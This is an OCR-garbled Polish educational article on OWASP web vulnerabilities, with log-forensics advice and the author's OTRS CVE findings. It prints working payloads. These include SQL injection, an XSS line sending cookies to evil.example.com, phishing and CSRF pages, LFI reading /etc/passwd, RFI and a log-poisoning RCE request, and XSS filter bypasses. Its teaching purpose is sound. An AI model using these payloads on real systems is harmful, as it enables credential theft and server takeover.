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W dzisiejszych czasach bezpieczenstwo aplikacji webowych jest jednym z wazniejszych
elementéw bezpieczenstwa Internetu, w tym serwerdéw udostepniajgcych ustugi w sieci. Atakdéw na
strony internetowe dokonywali w ostatnim czasie m.in. aktywisci z grupy Anonymousl, czego
efektem byty liczne podmiany m.in. polskich stron rzagdowych. Wtamania na serwery HTTP niosg
jednak za sobg o wiele wieksze ryzyko niz podmiana zawartosci strony. Cyberprzestepcy moga
uzyskac¢ dostep nie tylko do poswiadczen uzytkownikéw (jak np. cookies) ale réwniez plikéw strony
internetowej czy baz danych, co w przypadku sklepéw internetowych moze na przyktad skutkowaé
wyciekieminformacji zwigzanych z kartami kredytowymi. Mozliwe jest rOwniez przejecie kontroli nad
catym systemem, czego efektem moze byéréwniez dostep do sieci lokalnej, do ktérej podtgczony jest
serwer, przez co wtamywacze mogg uzyskac¢ o wiele szerszy dostep. Do najczestszych atakéw na
aplikacje internetowe dochodzi przez wykorzystanie btedéw opisanych w metodyce OWASP? (Open
Web Application Security Project). Wspomniana metodyka opisuje budowe bezpiecznych stron
internetowych, a jednym z kluczowych elementéw metodyki jest lista OWASP top 10°
przedstawiajgca najistotniejsze oraz najczesciej popetniane przez programistow btedy. W niniejszej
publikacji przedstawione zostang wybrane btedy sposrdd najniebezpieczniejszych.

Wybrane popularne podatnosci aplikacji webowych
Injection (wstrzykniecie)

Mianem atakéw wstrzykniecia w uproszczeniu okreslamy wszystkie ataki, gdzie atakujacy
moze zmanipulowaé aplikacjg w taki sposéb, ze wykona ona inne polecenie lub zapytanie, niz
zaktadat pierwotnie programista. Najpopularniejszymi atakami z tej rodziny sg SQL Injection (SQLi),
Command Injection i Code Injection. Skupimy sie na najbardziej podstawowym, ktérym jest SQL
Injection. Pojecie to okresla modyfikacje zapytania do bazy danych w taki sposdb, ze tres¢ podana
przez uzytkownika zostanie zinterpretowana, jako cze$¢ zapytania do bazy danych SQL.

Ponizej przedstawiono przyktadowe zapytanie do bazy danych wystepujace w chwili logowania do
aplikacji webowej przy pomocy loginu ,,admin” oraz hasta ,hasto”.

Serwer HTTR
Koamputer wiaz 2 bazg
darych
'\._“.
ELECT * FROM users VWHERE login = "admin" AMD password = "hasio"——
o
% mwracenie informagiz bary danych do aplikadgi %

| SELECT * FROM user WHERE login ="admin' AND password = 'hasto’ |

Na powyzszym przyktadzie przestawione jest normalne logowanie. W przypadku, kiedy login i hasto

beda poprawne, to baza danych zwrdci aplikacji dane potwierdzajace, ze uzytkownik podat poprawny
login i hasto.

1https://pl.Wiki|:)edia.or;z/wiki/Anonvmous %2 8aktywi%C5%9Bci_internetowi %29
2 https://www.owasp.org/index.php/Main_Page
3https://www.owasp.org/index.php/Top 10 _2013-Top_10
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Sepwer HTTP
Komputer
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ELECT * FROM users YWHERE login = "admin® AMD password =" OR "1'="1"—f{
o
rwracenie informagiz bazy danych do aplikadgi \%»..,____‘

| SELECT * FROM users WHERE login ='admin' AND password =" OR '1'='1' |

Powyzej przedstawiono najprostszy atak SQL Injection polegajacy na wpisaniu w jedno z pél

| 'OR'1'="1

co skutkuje zmodyfikowaniem zapytaniaw taki sposéb, ze baza zwrdci wyniki tak, jak gdyby podane
hasto byto poprawne. Jest to zwigzane z faktem, ze po stowie OR (z ang. lub) zostanie spetniony
warunek ('1'='1"). W efekcie, czego osoba nieznajgca hasta zostanie przez aplikacje webowg
autoryzowana, jako uzytkownik admin.

W przypadku znalezienia btedu SQLi ataki najczesciej wykonywane sg przy pomocy narzedzia
sqlmap®. Narzedzie to pozwala na w petni automatyczne ataki na bazy danych, w tym na pobranie
danych znajdujacych sie w bazie.

Slady ataku

Sladéw ataku powinniémy szukaéw logach bazy danych (w przypadku bazy MySQL logi znajduja sie w
katalogu /var/log/mysql/) oraz serwera HTTP. W przypadku logéw bazy danych najlepiej rozpoczac
poszukiwania od znaku apostrofa lub jego heksadecymalnego odpowiednika %27 (poprzedzajacy
znak procent wystepuje na potrzeby zakodowania w adresie URL).

Cross-Site Scripting (XSS)

Podatnos¢ XSS jest jedng z grozniejszych podatnosci, ktérej efektem jest modyfikacja
zawartosci strony lub wykorzystanie poswiadczen (np. poprzez kradziez cookies) przez wstrzykniecie
skryptu, najczesciej JavaScript.

Najczesciej spotykanym zastosowaniem jezyka JavaScript sq strony WWW.
Skrypty stuzq najczesciej do zapewnienia interaktywnosci poprzez reagowanie na
zdarzenia, sprawdzania poprawnosci formularzy lub budowania elementow
nawigacyjnych. Skrypty JavaScriptu wykonujqg sie po stronie przeglgdarki.

Zrédto https://pl.wikipedia.org/wiki/JavaScript (Wikipedia:JavaScript)

* http://sqlmap.org —automatic SQL injection and databasetakeover tool
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Alternatywnie, zamiast skryptu moze by¢ wstrzykniety kod HTML oraz CSS. Metodologia OWASP

wyréznia dwa’ gléwne typy atakéw (warto jednak wspomnieg, ze istnieje jeszcze trzeci rzadziej
spotykany tzw. DOM Based XSS):

e Stored(znanyréwniezjako ,persistent”) —wystepujacy po stronie serwera, wstrzykniety skrypt
zostaje permanentnie zapisany po stronie serwera np. do bazy danych

Koamputer ferwer HTTPR

ejscie na strone zawierajaca lavasoript zapisany przez hakera—————

W et

sekonanie kodu lavaicript po stronie klienta

e Reflected (znany rowniez jako ,,non-persistent”) —wystepujacy po stronie klienta, skrypt znajduje
sie najczesciej w odnos$niku wystanym do ofiary.

Koamputer ferwer HTTPR

W jECiE ha strone prze: spreparowary odnosnik

Y

W et

sekonanie kodu lavaicript po stronie klienta

Najprostszg, azarazem najpopularniejszg demonstracjg ataku XSS jest wyswietlenie okienka z cyfrg
jeden poprzez wykonanie kodu JavaScript:

| <script>alert(1)</script> |

Przyktadowy spreparowany odnosnik z atakiem reflected XSS moze wygladaé w nastepujacy sposob:

| http://example.com/?search="><script>alert(1)</script> |

W wyniku czego zostanie do kodu HTML strony wstrzykniety fragment po ,search=", przez co
przegladarka otrzyma do zinterpretowania przyktadowo taki kod:

| <input type="text" name="search" value=""><script>alert(1)</script>"> |

Bedzie to skutkowato zamknieciem znacznika ,input” (">) oraz wstrzyknieciem tadunku (z ang.

payload) XSS (<script>alert(1)</script>), a cze$¢ wystepujaca po tadunku (">) zostanie zignorowana
jako kod HTML.

Gdy zamiast powyzszego alertu zostanie wstrzykniety skomplikowany skrypt, ataki XSS moga by¢
bardzo wyrafinowane i wykorzystane np. w phishingu.

> https://www.owasp.org/index.php/Top_ 10 2013-A3-Cross-Site Scripting %28XS5%29
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Phishing to wytudzanie poufnych informacji osobistych (np. haset lub szczegotow

karty kredytowej) przez podszywanie sie pod godng zaufania osobe lub instytucje,

ktdrej te informacje sq pilnie potrzebne. Jest to rodzaj ataku opartegona inZynierii
spotecznej.

Zrédto https://pl.wikipedia.org/wiki/Phishing (Wikipedia:Phishing)

Do tego celu moze by¢ wykorzystany nastepujacy tadunek:

<script>

document.body.innerHTML='Aby zobaczyéte strone musiszsie<a
href="http://evil.example.com">zalogowac</a>.Za5 sekund zostaniesz automatycznie
przeniesiony do strony logowania.'
setTimeout('location.replace("http://evil.example.com")’, 5000)

</script>

Zrédto https://github.com/adamziaja/javascript/blob/master/xss phishing poc.js

W wyniku wykonania tego tadunku zastgpiona zostanie widoczna tres¢ strony
(document.body.innerHTML) przez komunikat ,Aby zobaczy¢ te strone musisz sie <a
href="http://evil.example.com">zalogowac</a>.Za5 sekund zostaniesz automatycznie przeniesiony
do stronylogowania.”, po czym uzytkownik po 5 sekundach zostanie przekierowany na zewnetrzna
strone (setTimeout('location.replace("http://evil.example.com")', 5000)).

Bardzo prosto mozna rowniez wykrasc cookies przez zastosowanie przyktadowo tadunku:

http://example.com/?search=<script>window.open("http://evil.example.com/?cookie="+document.
cookie)</script>

Nastepstwem wykonania powyzszego tadunku bedzie otwarcie okienka, ktére przesle zaw artos¢
cookies do zdalnego serwera przez zadanie GET.

Dobrym przyktadem ukazujgcym ryzyko bteddw XSS jest réwniez oprogramowanie BeEF®, czyli The
Browser Exploitation Framework. Dzieki aplikacji BeEF mozna w prosty sposdb zautomatyzowacd
wykonywanie atakdw poprzez wygenerowanie wysokiej jakosci tadunkéw.

Slady ataku

Slady wykonania powyzszych atakéw XSS powinny (jesli nie zostaty usuniete lub jesli serwer nie zostat

skonfigurowany w niestandardowy sposdb) znajdowad sie, w przypadku:

e Stored XSS — w bazie danych lub w innym zbiorze danych, gdzie przechowywane s3 dane
prezentowane na stronie internetowej (np. pliki tekstowe)

o Reflected XSS—w logach demonaHTTP, np. Apache2w systemie Linux Debian przechowuje logi
w katalogu /var/log/apache2, a przypadku demona HTTP Nginx bedzie to /var/log/nginx,
natomiast winnych dystrybucjach, takich jak RedHat i podobne, logi te przechowywane bedg w
katalogu /var/log/httpd.

6 http://beefproject.com
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Cross-Site Request Forgery (CSRF lub XSRF)
Atak ten polega na wykorzystaniu niechronionych formularzy aplikacji webowej przez

przestanie za posrednictwem nieswiadomego uzytkownika spreparowanych zagdan do serwera, aw
efekcie wykorzystanie przez atakujgcego jego poswiadczen w danej podatnej aplikacji.

Przyktadowym kodem tadunku prezentujgcym podatnosc jest:

<html>
<head>
<script language="javascript">
function submitCSRF() {
document.csrf.submit()
setTimeout('location.replace("http://evil.example.com")', 1000)
}
</script>
</head>
<body onload="submitCSRF()">
<form action="http://example.com" method="POST" name="csrf">
<input type="hidden" name="useradd" value="haker">
<input type="hidden" name="password" value="h4k3r">
</form>
</body>
</html>

Zrédto https://github.com/adamziaja/perl/blob/master/csrf.pl (generator kodu)

W przypadku, kiedy uzytkownik tylko odwiedzi strone (nie jest wymagana zadna inna akcja)
zawierajgcg powyzszy kod, zostanie wykonana funkcja submitCSRF(), ktéra przesle formularz
(document.csrf.submit()) zawierajacy pola useradd o wartosci haker oraz password o wartosci h4k3r:

POST http://example.com/ HTTP/1.1

Host: example.com

Proxy-Connection: keep-alive

Content-Length: 28

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;9=0.8
Origin: null

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/34.0.1847.137 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4

useradd=haker&password=h4k3r

Zapytanie HTTP (POST) wygenerowane przez kod JavaScript

Na koniec wykonywania funkcji uzytkownik jest przekierowywany na inng strone
(setTimeout('location.replace("http://evil.example.com")', 1000)).

Najprostszym scenariuszem implementacji powyzszego ataku jest skorzystanie z ustugi skracania
adresu URL np. http://goo.gl i przekierowanie uzytkownika na strone wykonujacg atak CSRF, ktory to
skrypt nastepnie przekieruje uzytkownika np. do artykutu prasowego, przez co ofiara nawet nie
nabierze podejrzen, ze cos ztego mogto sie stac.


https://github.com/adamziaja/perl/blob/master/csrf.pl
http://goo.gl/

Nowoczesne aplikacje przed powyzszym atakiem chronig sie przy pomocy tzw. tokendw CSRF, ktére
sg generowane przy wyswietlaniu uzytkownikowi formularza, a nastepnie weryfikowane po
odebraniudanych. Najczesciejtokeny sg wazne przez jakis krotki czas, aby uniemozliwi¢ wykonanie
jakiegos bardziej wyrafinowanego ataku wykorzystujgcego inne btedy.

Slady ataku

Sladéw ataku CSRF powinniémy szukaé¢ w logach demona HTTP (analogicznie do opisanego powyzej
ataku reflected XSS). Nalezy jednak zwréci¢ uwage, ze w tym przypadku nic nie bedzie tak oczywiste,
jak przy atakach typu XSS. Mozemy bazowac tutaj na fakcie pojedynczych zapytan do serwera, w
ktorych wykonywane sgoperacje, anie sg poprzedzone np. zatadowaniem strony (w tym grafiki oraz
styldow itd), zktdrej powinien zosta¢ wystany formularz. W przypadku zaawansowanych atakéw CSRF,
ktére np. wykonujg sekwencje zapytan do serwera, znalezienie takiego ataku moze by¢ bardzo
trudne. Przy analizie logdw warto tutaj zwrdci¢ uwage na pole zawierajgce HTTP referer.

File Inclusion
Zasadniczo btad ten dzieli sie na dwa rodzaje:

e Local File Inclusion (LFI) — mozliwo$¢ zatadowania dowolnego pliku z serwera, do ktérego
uprawienia odczytu posiada demon HTTP. Atak ten najczesciej wystepuje z wykorzystaniem
btedu Path Traversal’.

Zrédto https://pl.wikipedia.org/wiki/Demon %28informatyka%29
(Wikipedia:Demon)

e Remote File Inclusion (RFI) —mozliwos¢ zatadowania zewnetrznego kodu, np. PHP.

Jedli przyktadowo aplikacja taduje tres¢ poprzez fadowanie plikéw z dysku:

http://example.com/?index=0-nas.txt |

to podatnos¢ LFI wyglada w nastepujgcy sposdb, jesli serwer dziata na systemie Linux (i nie posiada
dodatkowych zabezpieczen):

http://example.com/?index=../../../etc/passwd |

W wyniku czego tadowana jest zawartos¢ pliku /etc/passwd (zawierajgcego podstawowe dane nt.
uzytkownikdéw systemu, a nie hasta). Wykorzystany zostat tutaj rowniez btad Path Traversal, ktéry
umozliwia przejscie do katalogéw nadrzednych (../), liczba przejs¢ do katalogu nadrzednego
naturalnie zalezna jest od zagniezdzenia samej aplikacji.

Analogiczniedo ataku LFI moze istnie¢ podatno$é RFI, w ktérej przyktadowo atak moze wygladad tak:

7 https://www.owasp.org/index.php/Path _Traversal
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| http://example.com/?index=http://evil.example.com/skrypt.php

Skutkiem czego bedzie wykonanie kodu http://evil.example.com/skrypt.php (niezinterpretowany
przez evil.example.com kod zrédtowy PHP) na serwerze example.com.

Slady ataku

Sladéw takich atakéw mozemy szuka¢ analogicznie do powyzej opisanych btedéw (szczegdlnie
reflected XSS) w logach demona HTTP jak réwniez w logach bazy danych (jesli wywotanie nastgpito
przez baze danych, a co nie zostato przedstawione w niniejszej publikacji).

Przyktadowe scenariusze atakow

Eskalacja btedu Local File Inclusion do Remote Code Execution

Scenariusz ten zaktada, ze na serwerze dziatajgcym pod kontrolg systemu operacyjnego Linux
Debian istnieje opisana powyzej podatno$¢ Local File Inclusion (LFl). Dzieki tej podatnosci
bezposrednio nie mozna wykonac kodu na serwerze.

Jedlilogi aplikacji webowejlub demona HTTP bedg mozliwe do odczytu przez uzytkownika, z ktérego
prawami wykonywane sg skrypty PHP, to istnieje mozliwos$¢ wykonania zdalnego kodu na serwerze
(Remote Code Execution). Warto tutaj dodaé, ze standardowo tylko proces rodzic demona HTTP
powinien mie¢ mozliwos¢ odczytu logdw (skrypty sg wykonywane przez procesy potomne dziatajace
z uprawnieniami uzytkownika ,,www-data”). Oczywiscie mogg by¢toréwniezjakiekolwiek inne pliki,
nie tylko logi aplikacji czy demona HTTP.

Przyktadowe zgdaniedo serwera HTTP, ktére umozliwi zapisanie fadunku w logu, moze wygladaé w
nastepujacy sposob:

GET /HTTP/1.1

User-Agent: <? system('uname -a'); ?>
Host: example.com

Accept: */*

W wyniku czego w logach serwera HTTP (w tym przypadku Apache) pojawi sie nastepujacy rekord:

1.3.3.7 - - [21/May/2014:10:47:54 +0200] "GET / HTTP/1.1" 200 31554 "-" "<? system('uname -a');
?>II

Wywotanie tego logu przy pomocy btedu LFl spowoduje wykonanie komendy ,,uname -a”.

Security Misconfiguration

Btad ten nie dotyczy tylko samych aplikacji webowych. Przyktadowym scenariuszem moze
by¢ tutaj stosowanie cookies w nastepujacy sposéb:

| Set-Cookie: sid=24358fd8b7e7a06df48a2ee63935be5a; path=/; domain=.example.com




Nastepstwem czego bedzie mozliwo$é odczytania z cookies pola ,sid” (ktére w tym przypadku
autoryzuje uzytkownika w aplikacji webowej) przez kazdg subdomene w domenie ,,example.com”.
Atakujacy, zamiast wiamad sie do tej potencjalnie bezpiecznej aplikacji, moze sprébowac
wyeksportowa¢ strefe DNS ,example.com” np. za pomocg skryptu dns-check®, ktéry prébuje
rekursywnie eksportowac strefy DNS ze wszystkich NS z danej domeny oraz subdomen. Jesli uda sie
wyeksportowac strefei przyktadowo bedzie tam w subdomenie podatna aplikacja webowa, to za jej
posrednictwem atakujgcy moze uzyskaé¢ dostep do cookie zawierajgcego ,sid” ze strony
»,example.com” (w wyniku zastosowania kropki przed domeng w parametrze cookies domain) przez
przestanie do autoryzowanego uzytkownika odnosnika zachecajgcego do klikniecia oraz
zawierajgcego spreparowany do tego celu kod.

Powyzszy scenariusz przedstawiono ponizej na schemacie:

[ Ofiara
'] 4 przestanie odnosnika i kradziez cookies Serwer DMS

S

atakujacy

3. zalogowanie ofiary do aplikacji 1. wyeksportowanie strefy DNS

example. com foo.example.com

5 wykorzystanie cookies ofiary

2. wiamanie na serwerznaleziony w strefie DMS

WL

(4

Clickjacking w potgczeniu z Cross-Site Scripting (XSS)
Na poczatku 2014 roku w popularnym i dojrzatym oprogramowaniu OTRS znalaztem dwa
btedy —stored XSS (CVE-2014-1695°) oraz clickjacking (CVE-2014-25547).

OTRS (Open-source Ticket Request System) to oprogramowanie open source
umozliwiajgce obstuge przez firme lub organizacje tzw. systemu biletowego (tzw.
Helpdesk lub Service Desk). System taki umozliwia przypisywanie ,biletow” (ang.

ticket) do komunikacji z klientami wewnetrznymi (np. pracownicy firmy) i
zewnetrznymi (np. posiadacze produktéw firmy). Komunikacja moze dotyczyc
m.in. pytan i skarg od uzytkownikéw, présb o pomoc, zgtaszania awarii itd.

Zrédto https://pl.wikipedia.org/wiki/OTRS (Wikipedia:OTRS)

8 https://code.google.com/p/dns-check/, https://github.com/adamziaja/python/blob/master/dc.py
? http://www.otrs.com/security-advisory-2014-03-xss-issue/
10 http://www.otrs.com/security-advisory-2014-05-clickjacking-issue/
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Przy pomocy tych podatnosci atakujgcy mogt wykorzystac poswiadczenia zalogowanego uzytkownika

nie tylko do aplikacji OTRS, ale réwniez stworzy¢ tunel do sieci LAN (przy pomocy oprogramowania
typu BeEF").

Scenariusz ataku zaktadat, ze atakujgcy wysyta do systemu OTRS spreparowany e-mail, ktéry zawiera
dziatajacy payload XSS. W tym wypadku znalaztem dwa dziatajgce tadunki:

<img/onerror="alert(\'XSS1\')"src=a>
<iframe src=javasc&#x72ipt:alert(\'XSS2\') >

Warto zwréciétutaj uwage, ze aplikacjafiltrowata ataki XSS, a powyzsze tadunki omijaty zastosowane
zabezpieczenia (tzw. XSS filter bypass'?). Nastepnie wystarczyto przy pomocy podatnosci clickjacking
zatadowadodnosnik do systemu OTRS zawierajgcy numer ticketu, czego efektem byto wykonanie w
przegladarce zalogowanej ofiary kodu JavaScript.

Konkluzja

Powyzsze przypadkiobrazujg fakt, ze najczesciej do wtaman dochodzi przez potaczenie kilku btedéw.
Czesto sg to btedy z pozoru niegrozne. Bardzo dobrym przyktadem jest tutaj réwniez podatnosc z
1999 roku opisang jako CVE-1999-0524", dzieki ktdrej mozliwe jest poznanie doktadnego czasu na
serwerze, aco z kolei moze by¢bardzoistotne przy systemach kryptograficznych opartych o czas (np.
wtasne implementacje generatoréw haset nie tylko w aplikacjach webowych). Warto pamieta¢, ze
luki w zabezpieczeniach stron internetowych nie muszg by¢ zagrozeniem tylko dla samych serwerdw,
na ktdrych sg uruchomione, ale réwniez dla uzytkownikdéw w postaci np. atakéw XSS, ktére pozwalajg
na wykonanie kodu w przegladarce ofiary z uprawieniami aktualnego uzytkownika. W praktyce przez
ataki XSS mozina w dowolny sposéb modyfikowaé zachowanie i wyglad strony (co moze by¢
wykorzystane w tzw. pharmingu), jak rowniez symulowac zachowanie uzytkownika. Wywotanie
takiego kodu moze mieé wiele skutkéw jak np. kradziez poswiadczen w postaci plikdw cookies czy
dostep atakujgcego do sieci wewnetrznej, w ktérej znajduje sie komputer ofiary (np. przy pomocy
BeEF). Zagrozeniem dla serwerdw w szczegdlnosci bedg btedy typu SQL Injection czy Remote Code
Execution, w wyniku, czego nie tylko mozna zbudowac botnet w oparciu o podatne serwery, ale
réwniez przejgé kompletng kontrole nad serwerem (w przypadku dalszej eskalacji uprawnien) oraz
uzyskacdostep dosiecilokalnej podtaczonej do serwera. Bardziej wyrafinowani cyberprzestepcy nie
ujawniaja sie po wtamaniu, w wyniku czego moga nie tylko miec staty dostep do danych na serwerze
czy do sieci lokalnej, ale rdwniez wykonywac ataki w postaci phishingu z wykorzystaniem zaufanego
dla danej organizacji serwera.
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